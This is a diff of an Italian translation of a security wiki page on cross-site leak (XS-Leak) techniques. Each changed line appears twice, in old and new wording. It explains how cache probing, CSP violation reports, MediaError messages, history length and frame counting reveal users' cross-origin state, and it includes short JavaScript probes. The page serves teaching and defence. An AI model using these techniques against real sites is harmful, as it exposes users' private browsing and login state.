||||
- **Summary:** Le risorse protette con CORP non creano voci di timing delle risorse.
|
||||
- **Summary:** Le risorse protette con CORP non creano voci di temporizzazione delle risorse.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak](https://xsinator.com/testing.html#Performance%20API%20CORP%20Leak)
|
||||
|
||||
In alcuni casi, l'**entrata nextHopProtocol** può essere utilizzata come tecnica di perdita. In GC, quando l'**intestazione CORP** è impostata, nextHopProtocol sarà **vuota**. Nota che SA non creerà affatto un'entrata di prestazione per le risorse abilitate CORP.
|
||||
In alcuni casi, l'entrata **nextHopProtocol** può essere utilizzata come tecnica di leak. In GC, quando l'intestazione **CORP** è impostata, nextHopProtocol sarà **vuota**. Nota che SA non creerà affatto un'entrata di prestazione per le risorse abilitate CORP.
|
||||
|
||||
### Service Worker
|
||||
|
||||
- **Inclusion Methods**: Frames
|
||||
- **Detectable Difference**: Utilizzo API
|
||||
- **Detectable Difference**: API Usage
|
||||
- **More info**: [https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/](https://www.ndss-symposium.org/ndss-paper/awakening-the-webs-sleeper-agents-misusing-service-workers-for-privacy-leakage/)
|
||||
- **Summary:** Rilevare se un service worker è registrato per una specifica origine.
|
||||
- **Code Example**:
|
||||
|
||||
I service worker sono contesti di script attivati da eventi che vengono eseguiti a un'origine. Eseguono in background di una pagina web e possono intercettare, modificare e **memorizzare nella cache le risorse** per creare applicazioni web offline.\
|
||||
I service worker sono contesti di script basati su eventi che vengono eseguiti in un'origine. Eseguono in background di una pagina web e possono intercettare, modificare e **memorizzare nella cache le risorse** per creare applicazioni web offline.\
|
||||
Se una **risorsa memorizzata nella cache** da un **service worker** viene accessibile tramite **iframe**, la risorsa verrà **caricata dalla cache del service worker**.\
|
||||
Per rilevare se la risorsa è stata **caricata dalla cache del service worker**, può essere utilizzata l'**API di Prestazioni**.\
|
||||
Questo potrebbe essere fatto anche con un attacco di Timing (controlla il documento per ulteriori informazioni).
|
||||
Per rilevare se la risorsa è stata **caricata dalla cache del service worker**, può essere utilizzata l'**API delle prestazioni**.\
|
||||
Questo potrebbe essere fatto anche con un attacco di timing (controlla il documento per ulteriori informazioni).
|
||||
|
||||
### Cache
|
||||
|
||||
@ -404,22 +404,22 @@ Questo potrebbe essere fatto anche con un attacco di Timing (controlla il docume
|
||||
- **Summary:** È possibile controllare se una risorsa è stata memorizzata nella cache.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#detecting-cached-resources), [https://xsinator.com/testing.html#Cache%20Leak%20(POST)](<https://xsinator.com/testing.html#Cache%20Leak%20(POST)>)
|
||||
|
||||
Utilizzando l'[API di Prestazioni](xs-search.md#performance-api) è possibile controllare se una risorsa è memorizzata nella cache.
|
||||
Utilizzando l'[API delle prestazioni](xs-search.md#performance-api) è possibile controllare se una risorsa è memorizzata nella cache.
|
||||
|
||||
### Durata di Rete
|
||||
### Network Duration
|
||||
|
||||
- **Inclusion Methods**: Fetch API
|
||||
- **Detectable Difference**: Contenuto della pagina
|
||||
- **Detectable Difference**: Page Content
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
|
||||
- **Summary:** È possibile recuperare la durata di rete di una richiesta dall'API `performance`.
|
||||
- **Summary:** È possibile recuperare la durata della rete di una richiesta dall'API `performance`.
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration](https://xsleaks.dev/docs/attacks/timing-attacks/performance-api/#network-duration)
|
||||
|
||||
## Tecnica dei Messaggi di Errore
|
||||
## Error Messages Technique
|
||||
|
||||
### Errore Media
|
||||
### Media Error
|
||||
|
||||
- **Inclusion Methods**: HTML Elements (Video, Audio)
|
||||
- **Detectable Difference**: Codice di stato
|
||||
- **Detectable Difference**: Status Code
|
||||
- **More info**: [https://bugs.chromium.org/p/chromium/issues/detail?id=828265](https://bugs.chromium.org/p/chromium/issues/detail?id=828265)
|
||||
- **Summary:** In Firefox è possibile rivelare con precisione il codice di stato di una richiesta cross-origin.
|
||||
- **Code Example**: [https://jsbin.com/nejatopusi/1/edit?html,css,js,output](https://jsbin.com/nejatopusi/1/edit?html,css,js,output)
|
||||
@ -470,7 +470,7 @@ err.message +
|
||||
audioElement.onerror = errHandler
|
||||
}
|
||||
```
|
||||
L'interfaccia `MediaError` ha una proprietà messaggio che identifica univocamente le risorse che vengono caricate con successo con una stringa distinta. Un attaccante può sfruttare questa caratteristica osservando il contenuto del messaggio, deducendo così lo stato della risposta di una risorsa cross-origin.
|
||||
L'interfaccia `MediaError` ha una proprietà messaggio che identifica univocamente le risorse che vengono caricate con successo con una stringa distinta. Un attaccante può sfruttare questa caratteristica osservando il contenuto del messaggio, deducendo così lo stato di risposta di una risorsa cross-origin.
|
||||
|
||||
### Errore CORS
|
||||
|
||||
@ -480,7 +480,7 @@ L'interfaccia `MediaError` ha una proprietà messaggio che identifica univocamen
|
||||
- **Riepilogo:** Nelle Security Assertions (SA), i messaggi di errore CORS espongono involontariamente l'URL completo delle richieste reindirizzate.
|
||||
- **Esempio di Codice**: [https://xsinator.com/testing.html#CORS%20Error%20Leak](https://xsinator.com/testing.html#CORS%20Error%20Leak)
|
||||
|
||||
Questa tecnica consente a un attaccante di **estrarre la destinazione di un reindirizzamento di un sito cross-origin** sfruttando il modo in cui i browser basati su Webkit gestiscono le richieste CORS. In particolare, quando una **richiesta abilitata CORS** viene inviata a un sito di destinazione che emette un reindirizzamento basato sullo stato dell'utente e il browser successivamente nega la richiesta, l'**URL completo dell'obiettivo del reindirizzamento** viene rivelato all'interno del messaggio di errore. Questa vulnerabilità non solo rivela il fatto del reindirizzamento, ma espone anche l'endpoint del reindirizzamento e eventuali **parametri di query sensibili** che potrebbe contenere.
|
||||
Questa tecnica consente a un attaccante di **estrarre la destinazione di un reindirizzamento di un sito cross-origin** sfruttando il modo in cui i browser basati su Webkit gestiscono le richieste CORS. In particolare, quando una **richiesta abilitata CORS** viene inviata a un sito di destinazione che emette un reindirizzamento basato sullo stato dell'utente e il browser successivamente nega la richiesta, l'**URL completo del target del reindirizzamento** viene rivelato all'interno del messaggio di errore. Questa vulnerabilità non solo rivela il fatto del reindirizzamento, ma espone anche l'endpoint del reindirizzamento e eventuali **parametri di query sensibili** che potrebbe contenere.
|
||||
|
||||
### Errore SRI
|
||||
|
||||
@ -490,17 +490,17 @@ Questa tecnica consente a un attaccante di **estrarre la destinazione di un rein
|
||||
- **Riepilogo:** Nelle Security Assertions (SA), i messaggi di errore CORS espongono involontariamente l'URL completo delle richieste reindirizzate.
|
||||
- **Esempio di Codice**: [https://xsinator.com/testing.html#SRI%20Error%20Leak](https://xsinator.com/testing.html#SRI%20Error%20Leak)
|
||||
|
||||
Un attaccante può sfruttare **messaggi di errore dettagliati** per dedurre la dimensione delle risposte cross-origin. Questo è possibile grazie al meccanismo di Subresource Integrity (SRI), che utilizza l'attributo di integrità per convalidare che le risorse recuperate, spesso da CDN, non siano state manomesse. Affinché SRI funzioni su risorse cross-origin, queste devono essere **abilitate CORS**; altrimenti, non sono soggette a controlli di integrità. Nelle Security Assertions (SA), proprio come l'errore CORS XS-Leak, un messaggio di errore può essere catturato dopo che una richiesta di recupero con un attributo di integrità fallisce. Gli attaccanti possono deliberatamente **attivare questo errore** assegnando un **valore di hash fasullo** all'attributo di integrità di qualsiasi richiesta. In SA, il messaggio di errore risultante rivela involontariamente la lunghezza del contenuto della risorsa richiesta. Questa perdita di informazioni consente a un attaccante di discernere variazioni nella dimensione della risposta, aprendo la strada a sofisticati attacchi XS-Leak.
|
||||
Un attaccante può sfruttare **messaggi di errore dettagliati** per dedurre la dimensione delle risposte cross-origin. Questo è possibile grazie al meccanismo di Subresource Integrity (SRI), che utilizza l'attributo di integrità per convalidare che le risorse recuperate, spesso da CDN, non siano state manomesse. Affinché SRI funzioni su risorse cross-origin, queste devono essere **abilitate CORS**; altrimenti, non sono soggette a controlli di integrità. Nelle Security Assertions (SA), proprio come l'errore CORS XS-Leak, un messaggio di errore può essere catturato dopo che una richiesta di fetch con un attributo di integrità fallisce. Gli attaccanti possono deliberatamente **attivare questo errore** assegnando un **valore hash fasullo** all'attributo di integrità di qualsiasi richiesta. In SA, il messaggio di errore risultante rivela involontariamente la lunghezza del contenuto della risorsa richiesta. Questa perdita di informazioni consente a un attaccante di discernere variazioni nella dimensione della risposta, aprendo la strada a sofisticati attacchi XS-Leak.
|
||||
|
||||
### Violazione/Rilevamento CSP
|
||||
|
||||
- **Metodi di Inclusione**: Pop-up
|
||||
- **Differenza Rilevabile**: Codice di Stato
|
||||
- **Ulteriori informazioni**: [https://bugs.chromium.org/p/chromium/issues/detail?id=313737](https://bugs.chromium.org/p/chromium/issues/detail?id=313737), [https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html](https://lists.w3.org/Archives/Public/public-webappsec/2013May/0022.html), [https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects](https://xsleaks.dev/docs/attacks/navigations/#cross-origin-redirects)
|
||||
- **Riepilogo:** Consentendo solo il sito della vittima nel CSP, se tentiamo di reindirizzarlo a un dominio diverso, il CSP attiverà un errore rilevabile.
|
||||
- **Riepilogo:** Consentendo solo il sito della vittima nel CSP, se tentiamo di reindirizzare a un dominio diverso, il CSP attiverà un errore rilevabile.
|
||||
- **Esempio di Codice**: [https://xsinator.com/testing.html#CSP%20Violation%20Leak](https://xsinator.com/testing.html#CSP%20Violation%20Leak), [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#intended-solution-csp-violation)
|
||||
|
||||
Un XS-Leak può utilizzare il CSP per rilevare se un sito cross-origin è stato reindirizzato a un'origine diversa. Questa perdita può rilevare il reindirizzamento, ma inoltre, il dominio dell'obiettivo del reindirizzamento viene rivelato. L'idea di base di questo attacco è **consentire il dominio di destinazione sul sito dell'attaccante**. Una volta emessa una richiesta al dominio di destinazione, esso **reindirizza** a un dominio cross-origin. **Il CSP blocca** l'accesso e crea un **rapporto di violazione utilizzato come tecnica di perdita**. A seconda del browser, **questo rapporto può rivelare la posizione di destinazione del reindirizzamento**.\
|
||||
Un XS-Leak può utilizzare il CSP per rilevare se un sito cross-origin è stato reindirizzato a un'origine diversa. Questa perdita può rilevare il reindirizzamento, ma inoltre, il dominio del target del reindirizzamento viene rivelato. L'idea di base di questo attacco è **consentire il dominio target sul sito dell'attaccante**. Una volta emessa una richiesta al dominio target, esso **reindirizza** a un dominio cross-origin. **Il CSP blocca** l'accesso e crea un **rapporto di violazione utilizzato come tecnica di perdita**. A seconda del browser, **questo rapporto può rivelare la posizione target del reindirizzamento**.\
|
||||
I browser moderni non indicheranno l'URL a cui è stato reindirizzato, ma è comunque possibile rilevare che è stato attivato un reindirizzamento cross-origin.
|
||||
|
||||
### Cache
|
||||
@ -508,19 +508,19 @@ I browser moderni non indicheranno l'URL a cui è stato reindirizzato, ma è com
|
||||
- **Metodi di Inclusione**: Frame, Pop-up
|
||||
- **Differenza Rilevabile**: Contenuto della Pagina
|
||||
- **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events](https://xsleaks.dev/docs/attacks/cache-probing/#cache-probing-with-error-events), [https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html](https://sirdarckcat.blogspot.com/2019/03/http-cache-cross-site-leaks.html)
|
||||
- **Riepilogo:** Cancella il file dalla cache. Apre la pagina di destinazione e verifica se il file è presente nella cache.
|
||||
- **Riepilogo:** Cancella il file dalla cache. Apre la pagina target e verifica se il file è presente nella cache.
|
||||
- **Esempio di Codice:**
|
||||
|
||||
I browser potrebbero utilizzare una cache condivisa per tutti i siti web. Indipendentemente dalla loro origine, è possibile dedurre se una pagina di destinazione ha **richiesto un file specifico**.
|
||||
I browser potrebbero utilizzare una cache condivisa per tutti i siti web. Indipendentemente dalla loro origine, è possibile dedurre se una pagina target ha **richiesto un file specifico**.
|
||||
|
||||
Se una pagina carica un'immagine solo se l'utente è connesso, puoi **invalidare** la **risorsa** (quindi non è più memorizzata nella cache se lo era, vedi i link per ulteriori informazioni), **effettuare una richiesta** che potrebbe caricare quella risorsa e provare a caricare la risorsa **con una richiesta errata** (ad es. utilizzando un'intestazione referer troppo lunga). Se il caricamento della risorsa **non ha attivato alcun errore**, è perché era **memorizzata nella cache**.
|
||||
Se una pagina carica un'immagine solo se l'utente è connesso, puoi **invalidare** la **risorsa** (quindi non è più memorizzata nella cache se lo era, vedi i link per ulteriori informazioni), **effettuare una richiesta** che potrebbe caricare quella risorsa e provare a caricare la risorsa **con una richiesta errata** (ad esempio utilizzando un'intestazione referer troppo lunga). Se il caricamento della risorsa **non ha attivato alcun errore**, è perché era **memorizzata nella cache**.
|
||||
|
||||
### Direttiva CSP
|
||||
|
||||
- **Metodi di Inclusione**: Frame
|
||||
- **Differenza Rilevabile**: Intestazione
|
||||
- **Ulteriori informazioni**: [https://bugs.chromium.org/p/chromium/issues/detail?id=1105875](https://bugs.chromium.org/p/chromium/issues/detail?id=1105875)
|
||||
- **Riepilogo:** Le direttive dell'intestazione CSP possono essere sondati utilizzando l'attributo iframe CSP, rivelando i dettagli della politica.
|
||||
- **Riepilogo:** Le direttive dell'intestazione CSP possono essere sondati utilizzando l'attributo iframe CSP, rivelando dettagli sulla politica.
|
||||
- **Esempio di Codice**: [https://xsinator.com/testing.html#CSP%20Directive%20Leak](https://xsinator.com/testing.html#CSP%20Directive%20Leak)
|
||||
|
||||
Una nuova funzionalità in Google Chrome (GC) consente alle pagine web di **proporre una Content Security Policy (CSP)** impostando un attributo su un elemento iframe, con le direttive della politica trasmesse insieme alla richiesta HTTP. Normalmente, il contenuto incorporato deve **autorizzare questo tramite un'intestazione HTTP**, o viene **visualizzata una pagina di errore**. Tuttavia, se l'iframe è già governato da un CSP e la nuova politica proposta non è più restrittiva, la pagina verrà caricata normalmente. Questo meccanismo apre un percorso per un attaccante per **rilevare specifiche direttive CSP** di una pagina cross-origin identificando la pagina di errore. Sebbene questa vulnerabilità sia stata segnalata come risolta, le nostre scoperte rivelano una **nuova tecnica di perdita** capace di rilevare la pagina di errore, suggerendo che il problema sottostante non è mai stato completamente affrontato.
|
||||
@ -553,7 +553,7 @@ Controlla il link per ulteriori informazioni sull'attacco.
|
||||
- **Riepilogo**: Se l'intestazione Origin è riflessa nell'intestazione `Access-Control-Allow-Origin`, è possibile verificare se una risorsa è già nella cache.
|
||||
- **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration](https://xsleaks.dev/docs/attacks/cache-probing/#cors-error-on-origin-reflection-misconfiguration)
|
||||
|
||||
Nel caso in cui l'**intestazione Origin** venga **riflessa** nell'intestazione `Access-Control-Allow-Origin`, un attaccante può abusare di questo comportamento per provare a **recuperare** la **risorsa** in modalità **CORS**. Se non viene **attivato un errore**, significa che è stata **recuperata correttamente dal web**, se viene **attivato un errore**, è perché è stata **accessibile dalla cache** (l'errore appare perché la cache salva una risposta con un'intestazione CORS che consente il dominio originale e non il dominio dell'attaccante)**.**\
|
||||
Nel caso in cui l'**intestazione Origin** venga **riflessa** nell'intestazione `Access-Control-Allow-Origin`, un attaccante può abusare di questo comportamento per cercare di **recuperare** la **risorsa** in modalità **CORS**. Se non viene **attivato un errore**, significa che è stata **recuperata correttamente dal web**, se viene **attivato un errore**, è perché è stata **accessibile dalla cache** (l'errore appare perché la cache salva una risposta con un'intestazione CORS che consente il dominio originale e non il dominio dell'attaccante).\
|
||||
Nota che se l'origine non è riflessa ma viene utilizzato un carattere jolly (`Access-Control-Allow-Origin: *`), questo non funzionerà.
|
||||
|
||||
## Tecnica degli Attributi Leggibili
|
||||
@ -576,7 +576,7 @@ Inviare una richiesta utilizzando l'API Fetch con `redirect: "manual"` e altri p
|
||||
- **Riepilogo:** Le pagine protette dalla Cross-Origin Opener Policy (COOP) impediscono l'accesso da interazioni cross-origin.
|
||||
- **Esempio di Codice**: [https://xsinator.com/testing.html#COOP%20Leak](https://xsinator.com/testing.html#COOP%20Leak)
|
||||
|
||||
Un attaccante è in grado di dedurre la presenza dell'intestazione Cross-Origin Opener Policy (COOP) in una risposta HTTP cross-origin. COOP è utilizzato dalle applicazioni web per ostacolare i siti esterni dall'ottenere riferimenti a finestre arbitrarie. La visibilità di questa intestazione può essere discernita tentando di accedere al **riferimento `contentWindow`**. Negli scenari in cui COOP è applicato in modo condizionale, la **proprietà `opener`** diventa un indicatore rivelatore: è **undefined** quando COOP è attivo e **definita** in sua assenza.
|
||||
Un attaccante è in grado di dedurre la presenza dell'intestazione Cross-Origin Opener Policy (COOP) in una risposta HTTP cross-origin. COOP è utilizzato dalle applicazioni web per ostacolare i siti esterni dall'ottenere riferimenti a finestre arbitrarie. La visibilità di questa intestazione può essere discernita tentando di accedere al **riferimento `contentWindow`**. In scenari in cui COOP è applicato in modo condizionale, la **proprietà `opener`** diventa un indicatore rivelatore: è **undefined** quando COOP è attivo e **definita** in sua assenza.
|
||||
|
||||
### Lunghezza Massima URL - Lato Server
|
||||
|
||||
@ -588,7 +588,7 @@ Un attaccante è in grado di dedurre la presenza dell'intestazione Cross-Origin
|
||||
|
||||
Se un reindirizzamento lato server utilizza **input dell'utente all'interno del reindirizzamento** e **dati extra**. È possibile rilevare questo comportamento perché di solito **i server** hanno un **limite di lunghezza della richiesta**. Se i **dati dell'utente** sono di quella **lunghezza - 1**, perché il **reindirizzamento** utilizza **quelli dati** e **aggiunge** qualcosa di **extra**, attiverà un **errore rilevabile tramite Error Events**.
|
||||
|
||||
Se in qualche modo puoi impostare i cookie per un utente, puoi anche eseguire questo attacco **impostando un numero sufficiente di cookie** ([**cookie bomb**](hacking-with-cookies/cookie-bomb.md)) in modo che con la **dimensione della risposta aumentata** della **risposta corretta** venga attivato un **errore**. In questo caso, ricorda che se attivi questa richiesta da un sito stesso, `<script>` invierà automaticamente i cookie (quindi puoi controllare gli errori).\
|
||||
Se in qualche modo puoi impostare i cookie per un utente, puoi anche eseguire questo attacco impostando **un numero sufficiente di cookie** ([**cookie bomb**](hacking-with-cookies/cookie-bomb.md)) in modo che con la **dimensione della risposta aumentata** della **risposta corretta** venga attivato un **errore**. In questo caso, ricorda che se attivi questa richiesta da un sito stesso, `<script>` invierà automaticamente i cookie (quindi puoi controllare gli errori).\
|
||||
Un esempio di **cookie bomb + XS-Search** può essere trovato nella soluzione prevista di questo documento: [https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended](https://blog.huli.tw/2022/05/05/en/angstrom-ctf-2022-writeup-en/#intended)
|
||||
|
||||
`SameSite=None` o essere nello stesso contesto è solitamente necessario per questo tipo di attacco.
|
||||
@ -598,16 +598,16 @@ Un esempio di **cookie bomb + XS-Search** può essere trovato nella soluzione pr
|
||||
- **Metodi di Inclusione**: Pop-up
|
||||
- **Differenza Rilevabile**: Codice di Stato / Contenuto
|
||||
- **Ulteriori informazioni**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||||
- **Riepilogo:** Rileva differenze nelle risposte perché la lunghezza della risposta di reindirizzamento potrebbe essere troppo grande per una richiesta da far notare una differenza.
|
||||
- **Riepilogo:** Rileva differenze nelle risposte perché la lunghezza della risposta di reindirizzamento potrebbe essere troppo grande per una richiesta da notare una differenza.
|
||||
- **Esempio di Codice**: [https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit](https://ctf.zeyu2001.com/2023/hacktm-ctf-qualifiers/secrets#unintended-solution-chromes-2mb-url-limit)
|
||||
|
||||
Secondo la [documentazione di Chromium](https://chromium.googlesource.com/chromium/src/+/main/docs/security/url_display_guidelines/url_display_guidelines.md#URL-Length), la lunghezza massima dell'URL di Chrome è di 2MB.
|
||||
|
||||
> In generale, la _piattaforma web_ non ha limiti sulla lunghezza degli URL (anche se 2^31 è un limite comune). _Chrome_ limita gli URL a una lunghezza massima di **2MB** per motivi pratici e per evitare di causare problemi di denial-of-service nella comunicazione interprocesso.
|
||||
> In generale, la _piattaforma web_ non ha limiti sulla lunghezza degli URL (anche se 2^31 è un limite comune). _Chrome_ limita gli URL a una lunghezza massima di **2MB** per motivi pratici e per evitare di causare problemi di negazione del servizio nella comunicazione interprocesso.
|
||||
|
||||
Pertanto, se la **risposta dell'URL di reindirizzamento è più grande in uno dei casi**, è possibile farlo reindirizzare con un **URL più grande di 2MB** per colpire il **limite di lunghezza**. Quando ciò accade, Chrome mostra una pagina **`about:blank#blocked`**.
|
||||
|
||||
La **differenza evidente** è che se il **reindirizzamento** è stato **completato**, `window.origin` genera un **errore** perché un'origine cross non può accedere a quelle informazioni. Tuttavia, se il **limite** è stato \*\*\*\* colpito e la pagina caricata era **`about:blank#blocked`**, l'**origine** della finestra rimane quella del **genitore**, che è un'informazione **accessibile**.
|
||||
La **differenza evidente** è che se il **reindirizzamento** è stato **completato**, `window.origin` genera un **errore** perché un'origine cross non può accedere a quelle informazioni. Tuttavia, se il **limite** è stato raggiunto e la pagina caricata era **`about:blank#blocked`**, l'**origine** della finestra rimane quella del **genitore**, che è un **informazione accessibile.**
|
||||
|
||||
Tutte le informazioni extra necessarie per raggiungere i **2MB** possono essere aggiunte tramite un **hash** nell'URL iniziale in modo che venga **utilizzato nel reindirizzamento**.
|
||||
|
||||
@ -643,7 +643,7 @@ L'**API della Cronologia** consente al codice JavaScript di manipolare la cronol
|
||||
- **Riepilogo:** È possibile indovinare se la posizione di un frame/pop-up è in un URL specifico abusando della lunghezza della storia.
|
||||
- **Esempio di Codice**: Sotto
|
||||
|
||||
Un attaccante potrebbe utilizzare il codice JavaScript per **manipolare la posizione del frame/pop-up in uno indovinato** e **immediatamente** **cambiarlo in `about:blank`**. Se la lunghezza della storia è aumentata, significa che l'URL era corretto e ha avuto tempo di **aumentare perché l'URL non viene ricaricato se è lo stesso**. Se non è aumentata, significa che ha **cercato di caricare l'URL indovinato**, ma perché abbiamo **immediatamente dopo** caricato **`about:blank`**, la **lunghezza della storia non è mai aumentata** quando si caricava l'URL indovinato.
|
||||
Un attaccante potrebbe utilizzare il codice JavaScript per **manipolare la posizione del frame/pop-up in uno indovinato** e **immediatamente** **cambiarlo in `about:blank`**. Se la lunghezza della storia è aumentata, significa che l'URL era corretto e ha avuto tempo di **aumentare perché l'URL non viene ricaricato se è lo stesso**. Se non è aumentata, significa che ha **cercato di caricare l'URL indovinato**, ma poiché **immediatamente dopo** ha caricato **`about:blank`**, la **lunghezza della storia non è mai aumentata** quando si caricava l'URL indovinato.
|
||||
```javascript
|
||||
async function debug(win, url) {
|
||||
win.location = url + "#aaa"
|
||||
@ -661,54 +661,54 @@ win = window.open("https://example.com/?a=b")
|
||||
await new Promise((r) => setTimeout(r, 2000))
|
||||
console.log(await debug(win, "https://example.com/?a=b"))
|
||||
```
|
||||
### Conteggio dei Frame
|
||||
### Frame Counting
|
||||
|
||||
- **Metodi di Inclusione**: Frames, Pop-up
|
||||
- **Differenza Rilevabile**: Contenuto della Pagina
|
||||
- **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
|
||||
- **Riepilogo:** Valuta la quantità di elementi iframe ispezionando la proprietà `window.length`.
|
||||
- **Esempio di Codice**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
|
||||
- **Inclusion Methods**: Frames, Pop-ups
|
||||
- **Detectable Difference**: Page Content
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/frame-counting/](https://xsleaks.dev/docs/attacks/frame-counting/)
|
||||
- **Summary:** Valuta la quantità di elementi iframe ispezionando la proprietà `window.length`.
|
||||
- **Code Example**: [https://xsinator.com/testing.html#Frame%20Count%20Leak](https://xsinator.com/testing.html#Frame%20Count%20Leak)
|
||||
|
||||
Contare il **numero di frame in un web** aperto tramite `iframe` o `window.open` potrebbe aiutare a identificare lo **stato dell'utente su quella pagina**.\
|
||||
Inoltre, se la pagina ha sempre lo stesso numero di frame, controllare **continuamente** il numero di frame potrebbe aiutare a identificare un **modello** che potrebbe rivelare informazioni.
|
||||
|
||||
Un esempio di questa tecnica è che in chrome, un **PDF** può essere **rilevato** con **conteggio dei frame** perché un `embed` è utilizzato internamente. Ci sono [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) che consentono un certo controllo sul contenuto come `zoom`, `view`, `page`, `toolbar` dove questa tecnica potrebbe essere interessante.
|
||||
Un esempio di questa tecnica è che in chrome, un **PDF** può essere **rilevato** con **frame counting** perché viene utilizzato un `embed` internamente. Ci sono [Open URL Parameters](https://bugs.chromium.org/p/chromium/issues/detail?id=64309#c113) che consentono un certo controllo sul contenuto come `zoom`, `view`, `page`, `toolbar` dove questa tecnica potrebbe essere interessante.
|
||||
|
||||
### Elementi HTML
|
||||
### HTMLElements
|
||||
|
||||
- **Metodi di Inclusione**: Elementi HTML
|
||||
- **Differenza Rilevabile**: Contenuto della Pagina
|
||||
- **Ulteriori informazioni**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
|
||||
- **Riepilogo:** Leggi il valore trapelato per distinguere tra 2 possibili stati
|
||||
- **Esempio di Codice**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
|
||||
- **Inclusion Methods**: HTML Elements
|
||||
- **Detectable Difference**: Page Content
|
||||
- **More info**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/)
|
||||
- **Summary:** Leggi il valore trapelato per distinguere tra 2 possibili stati
|
||||
- **Code Example**: [https://xsleaks.dev/docs/attacks/element-leaks/](https://xsleaks.dev/docs/attacks/element-leaks/), [https://xsinator.com/testing.html#Media%20Dimensions%20Leak](https://xsinator.com/testing.html#Media%20Dimensions%20Leak), [https://xsinator.com/testing.html#Media%20Duration%20Leak](https://xsinator.com/testing.html#Media%20Duration%20Leak)
|
||||
|
||||
La perdita di informazioni attraverso gli elementi HTML è una preoccupazione nella sicurezza web, in particolare quando file multimediali dinamici vengono generati in base alle informazioni dell'utente, o quando vengono aggiunti filigrane, alterando la dimensione del media. Questo può essere sfruttato dagli attaccanti per differenziare tra possibili stati analizzando le informazioni esposte da determinati elementi HTML.
|
||||
|
||||
### Informazioni Esposte dagli Elementi HTML
|
||||
### Information Exposed by HTML Elements
|
||||
|
||||
- **HTMLMediaElement**: Questo elemento rivela la `duration` e i tempi `buffered` del media, che possono essere accessibili tramite la sua API. [Leggi di più su HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
|
||||
- **HTMLVideoElement**: Espone `videoHeight` e `videoWidth`. In alcuni browser, sono disponibili proprietà aggiuntive come `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` e `webkitDecodedFrameCount`, offrendo informazioni più dettagliate sul contenuto multimediale. [Leggi di più su HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
|
||||
- **getVideoPlaybackQuality()**: Questa funzione fornisce dettagli sulla qualità della riproduzione video, inclusi `totalVideoFrames`, che possono indicare la quantità di dati video elaborati. [Leggi di più su getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
|
||||
- **HTMLImageElement**: Questo elemento rivela l'`height` e la `width` di un'immagine. Tuttavia, se un'immagine è non valida, queste proprietà restituiranno 0, e la funzione `image.decode()` verrà rifiutata, indicando il fallimento nel caricare correttamente l'immagine. [Leggi di più su HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
|
||||
- **HTMLMediaElement**: Questo elemento rivela la `duration` e i tempi `buffered` del media, che possono essere accessibili tramite la sua API. [Read more about HTMLMediaElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLMediaElement)
|
||||
- **HTMLVideoElement**: Espone `videoHeight` e `videoWidth`. In alcuni browser, sono disponibili proprietà aggiuntive come `webkitVideoDecodedByteCount`, `webkitAudioDecodedByteCount` e `webkitDecodedFrameCount`, offrendo informazioni più dettagliate sul contenuto multimediale. [Read more about HTMLVideoElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLVideoElement)
|
||||
- **getVideoPlaybackQuality()**: Questa funzione fornisce dettagli sulla qualità della riproduzione video, inclusi `totalVideoFrames`, che possono indicare la quantità di dati video elaborati. [Read more about getVideoPlaybackQuality()](https://developer.mozilla.org/en-US/docs/Web/API/VideoPlaybackQuality)
|
||||
- **HTMLImageElement**: Questo elemento rivela l'`height` e la `width` di un'immagine. Tuttavia, se un'immagine è non valida, queste proprietà restituiranno 0, e la funzione `image.decode()` verrà rifiutata, indicando il fallimento nel caricare correttamente l'immagine. [Read more about HTMLImageElement](https://developer.mozilla.org/en-US/docs/Web/API/HTMLImageElement)
|
||||
|
||||
### Proprietà CSS
|
||||
### CSS Property
|
||||
|
||||
